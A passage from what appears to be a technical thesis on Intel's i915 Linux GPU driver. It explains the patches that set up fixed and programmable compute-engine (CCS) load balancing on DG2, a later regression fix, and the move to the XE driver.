Author: Andi Shyti <andi.shyti@linux.intel.com>
Date: Thu Mar 28 08:34:03 2024 +0100

drm/i915/gt: Disable HW load balancing for CCS

The hardware should not dynamically balance the load between CCS
engines. Wa 14019159160 recommends disabling it across all
platforms.

Fixes: d2eae8e98d59 (”drm/i915/dg2: Drop force probe requirement”)
Cc: Chris Wilson, Joonas Lahtinen, Matt Roper, Rodrigo Vivi
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Acked-by: Michal Mrozek
Reviewed-by: Matt Roper

The second patch in the workaround series ensures that only one compute engine
(CCS) is created and exposed by the driver, even if the hardware supports multiple CCS
slices.

Under normal conditions, the driver enumerates all hardware-reported CCS engines
(e.g., CCS0 through CCS3 on DG2) and instantiates a corresponding intel engine cs

structure for each. However, with fixed load balancing enforced, all compute workloads
are meant to be submitted to a single logical engine and then internally distributed by
the hardware.

To avoid creating unused or non-functional command streamers, this patch modifies
the engine mask computation inside init engine mask() to disable all CCS engines
beyond the first. This is done by masking out all bits in the CCS range and enabling
only the lowest-indexed CCS engine, as shown below:

1 if (IS_DG2(gt->i915)) {

2 u8 first_ccs = __ffs(CCS_MASK(gt));

3

4 /* Mask off all CCS engines */

5 info ->engine_mask &= ~GENMASK(CCS3 , CCS0);

6

7 /* Re -enable only the first CCS engine */

8 info ->engine_mask |= BIT(_CCS(first_ccs));

9 }

Listing 4.8: Limiting CCS engine instantiation to a single engine

This logic ensures that only a single CCS engine is both known to the kernel and
exposed via the UABI to userspace. The driver does not instantiate any internal data
structures for the remaining CCS engines, effectively making them invisible from both a
kernel and user perspective.

This change aligns with the fixed balancing model introduced by the first patch, in
which all compute workloads are routed through one command streamer and distributed
internally by the hardware.

The full commit message of the patch is as follows:

commit ea315f98e5d6d3191b74beb0c3e5fc16081d517c

Author: Andi Shyti <andi.shyti@linux.intel.com>
Date: Thu Mar 28 08:34:04 2024 +0100

drm/i915/gt: Do not generate the command streamer for all the CCS

We want a fixed load CCS balancing consisting in all slices
sharing one single user engine. For this reason do not create the
intel engine cs structure with its dedicated command streamer for
CCS slices beyond the first.

Fixes: d2eae8e98d59 (”drm/i915/dg2: Drop force probe requirement”)
Cc: Chris Wilson, Joonas Lahtinen, Matt Roper, Rodrigo Vivi
Acked-by: Michal Mrozek
Reviewed-by: Matt Roper

The final patch in the series finalises the fixed CCS load balancing setup by explicitly
programming the hardware to allocate all available compute slices (cslice) to a single
CCS engine. This ensures that, even though only one engine is exposed to userspace, it is
capable of driving all compute units behind the scenes, achieving full hardware utilisation
through a fixed and controlled distribution mechanism.

54



The key change introduced by this patch is the configuration of the XEHP CCS MODE

register, which defines how cslices are mapped to CCS engines. The implementation
adds a new helper function, intel gt apply ccs mode(), that builds the register value
by looping through each possible cslice and assigning it to the first available CCS engine:

1 void intel_gt_apply_ccs_mode(struct intel_gt *gt)

2 {

3 int cslice;

4 u32 mode = 0;

5 int first_ccs = __ffs(CCS_MASK(gt));

6

7 if (! IS_DG2(gt ->i915))

8 return;

9

10 for (cslice = 0; cslice < I915_MAX_CCS; cslice ++) {

11 if (CCS_MASK(gt) & BIT(cslice))

12 mode |= XEHP_CCS_MODE_CSLICE(cslice , first_ccs);

13 else

14 mode |= XEHP_CCS_MODE_CSLICE(cslice ,

15 XEHP_CCS_MODE_CSLICE_MASK);

16 }

17

18 intel_uncore_write(gt->uncore , XEHP_CCS_MODE , mode);

19 }

Listing 4.9: Assigning all cslices to a single CCS engine

This routine is invoked at engine initialisation time from within the ccs engine wa mode()

function, following the logic that disables hardware load balancing:

1 wa_masked_en(wal , GEN12_RCU_MODE ,

2 XEHP_RCU_MODE_FIXED_SLICE_CCS_MODE);

3

4 intel_gt_apply_ccs_mode(gt);

The final outcome of the patch is that:
- Only one CCS engine is created and visible to userspace. - All compute slices are

assigned to that engine. - The fixed mapping is written into the CCS mode register.
This ensures consistent compute execution behaviour and prevents workload misrout-

ing. The effectiveness of the patch can be verified using igt i915 query, which will
report only one active CCS engine despite the platform supporting more.

The commit message for this patch is shown below:

commit 6db31251bb265813994bfb104eb4b4d0f44d64fb

Author: Andi Shyti <andi.shyti@linux.intel.com>
Date: Thu Mar 28 08:34:05 2024 +0100

drm/i915/gt: Enable only one CCS for compute workload

Enable only one CCS engine by default with all the compute slices allocated to it.

While generating the list of UABI engines to be exposed to the user, exclude any additional CCS engines
beyond the first instance.

This change can be tested with igt i915 query.

Fixes: d2eae8e98d59 (”drm/i915/dg2: Drop force probe requirement”)
Cc: Chris Wilson, Joonas Lahtinen, Matt Roper, Rodrigo Vivi
Acked-by: Michal Mrozek
Reviewed-by: Matt Roper

This diagram in Figure 4.4 helps visualise how the hardware slices are configured to
route all execution through a single command streamer (CCS0), even though multiple
CCS engines physically exist. The register programming in the patch ensures this one-
to-all assignment.
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CCS0 (UABI-exposed)

CSLICE0

CSLICE1

CSLICE2

CSLICE3

Fixed Mapping (CCS Mode 1)

Figure 4.4: All compute slices (CSLICE0–3) are routed to CCS0 for execution.

4.2.4 Development of CCS Load Balancing

To address the limitations of automatic hardware load balancing on platforms with multi-
ple CCS (Compute Command Streamer) engines, a dedicated patch series was developed
and submitted upstream. The objective was to transition from a rigid, fixed configu-
ration—where all compute slices are assigned to a single CCS engine—towards a more
flexible and programmable solution where userspace can control how workloads are dis-
tributed across engines.

This patch series, comprising 15 commits, introduced infrastructure refactorings, new
sysfs interfaces, hardware programming fixes, and logic to support controlled load balanc-
ing on platforms such as DG2. The development began with internal cleanup, specifically
replacing the use of wa masked en() with direct register writes using intel uncore write().
This change ensures clean and predictable state programming for the XEHP CCS MODE reg-
ister, eliminating side effects caused by partial bit preservation.

Subsequent patches reworked the internal engine exposure model. Instead of blindly
instantiating all physical CCS engines, the driver now respects an engine mask that deter-
mines which engines are created and exposed to userspace. This not only simplifies load
balancing logic but also makes it easier to enable dynamic engine configuration in the fu-
ture. The helper macro for each enabled engine() was introduced to iterate over only
the active engines, replacing hard-coded assumptions based on hardware enumeration.

A major outcome of this effort was the introduction of two new sysfs interfaces:
ccs mode and num cslices, designed to enable better introspection and configuration of
compute workload distribution on multi-CCS platforms.

• num cslices: This is a read-only sysfs attribute, available on all Intel GPU plat-
forms. It exposes the number of compute slices (CSlices) present in the hardware
and can be queried via:

/sys/class/drm/card0/gt/gt*/num cslices

• ccs mode: This is a writeable sysfs entry available only on DG2-class devices, lo-
cated at:
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/sys/class/drm/card0/gt/gt*/ccs mode

The user may write the value 1, 2, or 4 to control how many UABI CCS engines
are exposed and what CCS mode to set in the register.

Internally, the driver computes the appropriate compute slice-to-engine mapping and
encodes it into the XEHP CCS MODE register. Each compute slice is assigned a 2-bit field
in the register that identifies the UABI engine responsible for executing its workload.

In a GPU with 4 CCS engines, the assignment works as follows:

• ccs mode = 1: A single CCS user engine with ID 0 is instantiated. All the workload
is dispatched across all four physical CCS engines. Each CCS slice is assigned
engine ID 0, meaning all slices execute commands submitted through the same
logical engine.

• ccs mode = 2: Two CCS user engines with IDs 0 and 1 are instantiated. Engine 0
dispatches to CCS slices 0 and 1, while engine 1 dispatches to slices 2 and 3. CCS
slices 0 and 1 are assigned engine ID 0; slices 2 and 3 are assigned engine ID 1.

• ccs mode = 4: Four CCS user engines with IDs 0, 1, 2, and 3 are instantiated. Each
physical CCS slice is mapped one-to-one to a user engine: slice 0 to engine 0, slice
1 to engine 1, slice 2 to engine 2, and slice 3 to engine 3. This configuration ensures
fully isolated execution streams and maximises per-stream hardware utilisation.

Mode Engines Slice-to-Engine Map Register Encoding
1 ccs0 All slices → ccs0 0-0-0-0
2 ccs0, ccs1 0,2 → ccs0; 1,3 → ccs1 0-1-0-1
4 ccs0, ccs1, ccs2, ccs3 Slice i → ccsi 0-1-2-3

Table 4.1: CCS Load Balancing Modes (Example for 4 CCS slices)

To maintain driver and hardware integrity, CCS mode changes are permitted only
when the GPU is idle. Specifically, the driver checks that no DRM clients have open
file descriptors to the device. This restriction prevents runtime reconfiguration while
workloads are executing and to avoid changing the configuration to other users.

Internally, UABI engines in the i915 driver are managed using red-black trees, provid-
ing efficient lookup, insertion, and removal operations. Each engine stores its tree node in
the uabi node field and is tracked within a global RB tree rooted at i915->uabi engines.
This structure allows the driver to validate whether an engine is currently active and vis-
ible to userspace.

The validation is encapsulated in the following function, which checks whether a non-
virtual engine has a valid node:

1 static bool engine_valid(struct intel_context *ce)

2 {

3 if (! intel_engine_is_virtual(ce ->engine))

4 return !RB_EMPTY_NODE (&ce ->engine ->uabi_node);

5

6 /* TODO: verify physical backing of virtual engines */

7 return true;

8 }

Listing 4.10: Validation of engine registration status
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When changing the CCS mode, the engine registration is adjusted dynamically. New
engines are inserted using rb find add():

1 static void add_uabi_ccs_engines(struct intel_gt *gt, u32 ccs_mode)

2 {

3 ...

4 mutex_lock (&i915 ->uabi_engines_mutex);

5 for_each_engine_masked(e, gt , new_ccs_mask , tmp) {

6 int err;

7 struct rb_node *n;

8 struct intel_engine_cs *__e;

9

10 i915 ->engine_uabi_class_count[I915_ENGINE_CLASS_COMPUTE ]++;

11

12 /*

13 * The engine is now inserted and marked as valid.

14 *

15 * rb_find_add () should always return NULL. If it returns a

16 * pointer to an rb_node it means that it found the engine we

17 * are trying to insert which means that something is really

18 * wrong.

19 */

20 n = rb_find_add (&e->uabi_node ,

21 &i915 ->uabi_engines , rb_engine_cmp);

22

23 ...

24 err = intel_engine_add_single_sysfs(e);

25 ...

26 }

27 mutex_unlock (&i915 ->uabi_engines_mutex);

28 }

Listing 4.11: Adding CCS engines to UABI tree

To remove an engine, the driver erases the node and clears its status:

1 static void remove_uabi_ccs_engines(struct intel_gt *gt, u8 ccs_mode)

2 {

3 ...

4 mutex_lock (&i915 ->uabi_engines_mutex);

5 for_each_engine_masked(e, gt , new_ccs_mask , tmp) {

6 i915 ->engine_uabi_class_count[I915_ENGINE_CLASS_COMPUTE ]--;

7

8 rb_erase (&e->uabi_node , &i915 ->uabi_engines);

9 RB_CLEAR_NODE (&e->uabi_node);

10

11 /* Remove sysfs entries */

12 kobject_del(e->kobj);

13 }

14 mutex_unlock (&i915 ->uabi_engines_mutex);

15 }

Listing 4.12: Removing CCS engines from UABI tree

This mechanism allows the driver to cleanly expose or hide engines from userspace in
response to ccs mode changes, while ensuring that stale engine references are invalidated.

Finally, the XEHP CCS MODE register is updated to reflect the slice-to-engine assign-
ment. The assignment algorithm is designed to balance slices among the enabled engines
and loops if fewer engines than slices are available.

The following code, builds the UABI CCS assignment as shown in Table 4.1

1 static void intel_gt_apply_ccs_mode(struct intel_gt *gt)

2 {

3 unsigned long cslices_mask = CCS_MASK(gt);

4 unsigned long ccs_mask = gt ->ccs.id_mask;

5 u32 mode_val = 0;

6 /* CCS engine id , i.e. the engines position in the engine ’s bitmask */

7 int engine;

8 int cslice;

9

10 ...
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11 engine = __ffs(ccs_mask);

12

13

14 for (cslice = 0; cslice < I915_MAX_CCS; cslice ++) {

15 if (!( cslices_mask & BIT(cslice))) {

16 /*

17 * If not available , mark the slice as unavailable

18 * and no task will be dispatched here.

19 */

20 mode_val |= XEHP_CCS_MODE_CSLICE(cslice ,

21 XEHP_CCS_MODE_CSLICE_MASK);

22 continue;

23 }

24

25 mode_val |= XEHP_CCS_MODE_CSLICE(cslice , engine);

26

27 engine = find_next_bit (& cslices_mask , I915_MAX_CCS , engine + 1);

28 /*

29 * If "engine" has reached the I915_MAX_CCS value it means that

30 * we have gone through all the unfused engines and now we need

31 * to reset its value to the first engine.

32 *

33 * From the find_next_bit () description:

34 *

35 * "Returns the bit number for the next set bit

36 * If no bits are set , returns @size."

37 */

38 if (engine == I915_MAX_CCS) {

39 /*

40 * CCS mode , will be used later to

41 * reset to a flexible value

42 */

43 engine = __ffs(ccs_mask);

44 continue;

45 }

46 }

47 gt->ccs.mode_reg_val = mode_val;

48 }

Listing 4.13: Removing CCS engines from UABI tree

4.2.5 Upstreaming of CCS Load Balancing

The initial workaround to enable fixed compute slice allocation on DG2 was successfully
merged into mainline. However, soon after integration, a regression was reported on
the public bug tracker Issue #10895. The bug was triggered when running the clpeak

--kernel-latency benchmark, which revealed that only one of the four CCS slices was
effectively active, resulting in a severe performance drop.

The root cause was quickly identified: although the driver correctly programmed
the XEHP CCS MODE register at boot, it failed to reapply the same configuration during
resume and engine resets. As a result, any reset event would revert the CCS mapping to
an incorrect or undefined state, leading to timeouts during workload submission:

Fence expiration time out i915-0000:03:00.0:clpeak[2387]:2!

To address the problem, a patch was submitted to extend the workaround mechanism.
It modified the intel gt apply ccs mode() function to return the computed mode value
instead of directly writing it to the register. This allowed the value to be included in the
engine’s workaround list and reapplied automatically at every reset.

The patch diff is shown below:

1 diff --git a/drivers/gpu/drm/i915/gt/intel_gt_ccs_mode.c b/drivers/gpu/

drm/i915/gt/intel_gt_ccs_mode.c
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2 index 044219 c5960a ..99 b71bb7da0a 100644

3 --- a/drivers/gpu/drm/i915/gt/intel_gt_ccs_mode.c

4 +++ b/drivers/gpu/drm/i915/gt/intel_gt_ccs_mode.c

5 @@ -8,14 +8,14 @@

6 #include "intel_gt_ccs_mode.h"

7 #include "intel_gt_regs.h"

8

9 -void intel_gt_apply_ccs_mode(struct intel_gt *gt)

10 +unsigned int intel_gt_apply_ccs_mode(struct intel_gt *gt)

11 {

12 int cslice;

13 u32 mode = 0;

14 int first_ccs = __ffs(CCS_MASK(gt));

15

16 if (! IS_DG2(gt ->i915))

17 - return;

18 + return 0;

19

20 /* Build the value for the fixed CCS load balancing */

21 for (cslice = 0; cslice < I915_MAX_CCS; cslice ++) {

22 @@ -35,5 +35,5 @@ void intel_gt_apply_ccs_mode(struct intel_gt *gt)

23

XEHP_CCS_MODE_CSLICE_MASK);

24 }

25

26 - intel_uncore_write(gt ->uncore , XEHP_CCS_MODE , mode);

27 + return mode;

28 }

29

30 diff --git a/drivers/gpu/drm/i915/gt/intel_workarounds.c b/drivers/gpu/

drm/i915/gt/intel_workarounds.c

31 index 71 dc6f10a037 ..6 d5efd46a987 100644

32 --- a/drivers/gpu/drm/i915/gt/intel_workarounds.c

33 +++ b/drivers/gpu/drm/i915/gt/intel_workarounds.c

34 @@ -2858,6 +2858 ,7 @@

35 static void ccs_engine_wa_mode(struct intel_engine_cs *engine ,

36 struct i915_wa_list *wal)

37 {

38 struct intel_gt *gt = engine ->gt;

39 + u32 mode;

40

41 if (! IS_DG2(gt ->i915))

42 return;

43 @@ -2874,7 +2875 ,8 @@

44 * assign all slices to a single CCS. We will call it CCS mode

1

45 */

46 - intel_gt_apply_ccs_mode(gt);

47 + mode = intel_gt_apply_ccs_mode(gt);

48 + wa_masked_en(wal , XEHP_CCS_MODE , mode);

49 }

Listing 4.14: Patch to fix reset-time CCS mode programming

Following the fix that ensured XEHP CCS MODE was correctly programmed during en-
gine resets, a second issue emerged. Although the register was now set, the value being
written was incorrect. The problem stemmed from the use of engine mask to determine
active CCS slices. This variable had already been altered to reflect the new user-visible
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engine layout (i.e., only one CCS), making it unreliable for encoding the actual physical
slice availability.

To address this, the original fused slice configuration was preserved early during device
initialization and stored in a dedicated field, gt->ccs.cslices. The intel gt apply ccs mode()

logic was then updated to use this field for constructing the correct mapping.

1 @@ -885,6 +885 ,12 @@ static intel_engine_mask_t init_engine_mask(struct intel_gt *gt)

2 if (IS_DG2(gt->i915)) {

3 u8 first_ccs = __ffs(CCS_MASK(gt));

4

5 + /*

6 + * Store the number of active cslices before

7 + * changing the CCS engine configuration

8 + */

9 + gt ->ccs.cslices = CCS_MASK(gt);

10 +

11 /* Mask off all the CCS engine */

12 info ->engine_mask &= ~GENMASK(CCS3 , CCS0);

13 /* Put back in the first CCS engine */

Listing 4.15: Preserving the original fused CCS mask

1 @@ -19,7 +19,7 @@ unsigned int intel_gt_apply_ccs_mode(struct intel_gt *gt)

2

3 /* Build the value for the fixed CCS load balancing */

4 for (cslice = 0; cslice < I915_MAX_CCS; cslice ++) {

5 - if (CCS_MASK(gt) & BIT(cslice))

6 + if (gt->ccs.cslices & BIT(cslice))

7 ...

8 }

Listing 4.16: Fixing the mask usage in CCS mode setup

This fix ensured that the actual hardware configuration was respected when repro-
gramming the XEHP CCS MODE register, eliminating the performance degradation and
restoring full functionality across all available CCS slices.

Finally despite the technical soundness and successful validation of the programmable
CCS load balancing infrastructure, the patch series introducing the sysfs interface was not
accepted into the mainline kernel. After detailed review and discussion on the intel-gfx
mailing list, Simona Vetter— one of the DRM subsystem maintainers—decided to reject
the series.

The reason for the rejection was not technical but rather a reflection of a strategic shift
in the kernel graphics development community. The DRM maintainers have adopted a
policy of slowing down feature development in the legacy i915 driver, with the long-term
goal of promoting adoption of the newer xe driver. As a result, they are increasingly
reluctant to accept new features in i915, regardless of their merit.

At the time of writing, the upstreaming of programmable CCS load balancing remains
an ongoing effort, pending further discussion within the community and alignment with
long-term driver strategy.
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Chapter 5

Conclusion and Further
Development

5.1 The Transition to XE

As Intel’s discrete GPU offerings mature, the legacy i915 driver—despite being the back-
bone of Intel graphics on Linux for nearly two decades—has started to show limitations.
Originally designed around integrated graphics and older execution models, i915 evolved
into a large, complex system encompassing its own memory manager, scheduler, and sub-
mission flow. While this bespoke architecture enabled tight control and extensive feature
support, it also led to increased technical debt and difficulty in maintaining and evolving
the driver for new GPU generations.

The XE driver is Intel’s modern replacement for i915, aimed at supporting current
and future discrete GPUs with a cleaner and more modular design. The decision to
initiate a new driver rather than refactor i915 stems from both architectural complex-
ity and long-term maintainability. As outlined in the pull request introducing XE1, the
new driver focuses on streamlined support for discrete graphics hardware (starting from
DG2/Alchemist and continuing through Battlemage and beyond) while preserving com-
patibility with standard Linux graphics interfaces like DRM and GEM.

According to the initial commit introducing drivers/gpu/drm/xe2, the motivation
was to create a driver that:

• Utilises modern kernel infrastructure, such as dma-buf, TTM (Translation Table
Maps), and the standard DRM scheduler;

• Follows modern DRM conventions for memory, execution, and fence management;

• Avoids reinventing primitives already present in the kernel (unlike i915);

• Provides clean separation between hardware abstraction and policy layers.

Whereas i915 built many of its mechanisms internally (e.g., custom memory managers
and ringbuffer-based execution lists), XE integrates more closely with standard kernel
components. For example, it uses TTM for buffer object management instead of i915’s
GEM-based memory subsystem, and leverages DRM’s standard submission model rather
than i915’s custom engine abstractions and timelines.

1https://lore.kernel.org/dri-devel/ZXzTA75G5VhCrDis@intel.com/T/
2https://cgit.freedesktop.org/drm-misc/commit/?id=dd08ebf6c352
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The official documentation3 describes XE as a “clean-slate” driver design, highlighting
several technical improvements:

• Unified Memory Management: XE uses a consistent model for memory alloca-
tion and binding across shared system memory and local device memory;

• Standardized Scheduling: The driver uses DRM’s native scheduler infrastruc-
ture, simplifying coordination between engines and reducing reliance on custom
submission logic;

• Context Isolation and Synchronization: It adheres to standard DRM syncobj

and timeline models for synchronisation and dependency tracking;

• Explicit Virtual Memory Binding: Unlike i915, which embeds implicit binding
semantics in execution flows, XE requires explicit bind calls before submission;

• Engine Enumeration and Capabilities: Engine discovery and use are exposed
through generic query interfaces, enabling future-proof client design.

By contrast, the i915 driver still relies on legacy ioctls like EXECBUFFER2, internal
ring management, and a variety of subsystem-specific abstractions that make hardware
enablement more complex. For instance, i915 tightly couples buffer management with
command submission, while XE decouples these layers to improve clarity and modularity.

The transition to XE also signals a shift in development focus: while i915 continues
to receive critical fixes and long-term support, new features are increasingly developed
exclusively for XE. As a result, many maintainers now strongly encourage adoption of the
new driver and have begun to push back on major architectural additions to i915—as
seen in the rejection of the CCS load balancing sysfs interface discussed earlier.

In summary, XE represents a fundamental architectural redesign tailored for the fu-
ture of Intel graphics, balancing kernel best practices, maintainability, and support for
upcoming GPU generations.

5.2 CCS Load Balancing in XE

The effort to introduce CCS load balancing via a user-controlled mechanism through sysfs
has been promptly accepted into the XE driver. While the i915 implementation was led
and authored by the present author, Andi Shyti, the corresponding development in XE

was carried out by Niranjana Vishwanathapura, with the author acting as the reviewer
of the series.

The main objective in both implementations was the same: to allow fine-grained
control over how compute workloads are distributed across available CCS engines on
platforms like DG2. The need arises from limitations in the hardware’s automatic load
balancing mechanism, which performs poorly or unpredictably in some configurations. As
a result, the solution was to disable automatic balancing and expose a software mechanism
for userspace to define a fixed distribution policy.

Let’s summarize the key differences between i915 and XE implementation.

3https://docs.kernel.org/gpu/xe/index.html
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• Code Structure and Isolation: The i915 patches introduced changes across
multiple existing files, requiring integration into existing engine masks, uABI trees,
and sysfs creation logic. Conversely, the XE patches introduced a more isolated
and modular implementation, using dedicated files such as xe gt ccs mode.c and
xe gt ccs mode.h.

• Sysfs Interface: Both drivers implement sysfs entries, but XE has a simplified
approach. It exposes a ccs mode file that accepts user input to select from supported
modes. While the logic is similar to that in i915, XE does not yet support advanced
runtime validation or fine tuned constraints present in i915.

• Engine Mask Handling: In i915, uABI engines are inserted into an internal
red-black tree (rb tree) to manage exposure to userspace. Engines are added and
removed dynamically depending on the selected mode. The tree nodes are managed
via RB CLEAR NODE() and validated with RB EMPTY NODE(). XE does not currently
use a similar mechanism and engine exposure is less dynamic.

• Mode Register Programming: Both drivers write to the XEHP CCS MODE register
to assign compute slices to specific engines. In i915, this logic is guarded and refined
to handle fused slices, and applies the configuration consistently across resets. In
XE, the approach is more static and lacks the same robustness in recovery paths.

• Runtime Configuration Constraints: i915 enforces that CCS mode can only be
changed when no clients are using the GPU, preventing runtime reconfiguration that
could lead to race conditions or inconsistencies. The XE implementation currently
lacks such checks, exposing a potential area for improvement.

Although the core idea has been ported to XE, the current state of the feature re-
mains less refined compared to i915. Several safety checks, dynamic exposure of user
engines, and validation mechanisms that were carefully engineered in i915 are not yet
implemented in XE. However, the inclusion of the feature upstream in XE demonstrates
community confidence in the design and paves the way for future enhancements to bring
it on par with the i915 implementation.

5.3 Partial Memory Mapping in XE

One notable gap in the current implementation of the XE driver is the lack of support
for partial memory mapping. This capability, while long available in i915, remains
unimplemented in XE, and its absence could pose a significant limitation for modern
GPU-driven user applications.

Partial memory mapping allows userspace applications to map only a subregion of a
buffer object into their address space rather than the entire object. This is particularly
useful when dealing with large buffer allocations, where full mapping is either unnecessary
or inefficient due to limited virtual address space or working set considerations.

Applications such as Mesa rely on this feature for efficient memory management and
GPU-CPU data exchange. In scenarios involving sparse buffer access or tiled rendering
strategies, being able to selectively map only the required portion of a buffer can lead to
significant performance gains and memory savings.
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The omission is not due to architectural limitations but rather due to XE’s current
maturity level. As the driver continues to evolve, integrating support for partial memory
mapping will be essential to ensure compatibility with existing userspace stacks and to
meet performance expectations in real-world applications.

This remains an open area for future development and an opportunity for contribu-
tions, especially given the demand from widely adopted graphics stacks such as Mesa and
the increasing importance of efficient memory handling in compute-heavy workloads.
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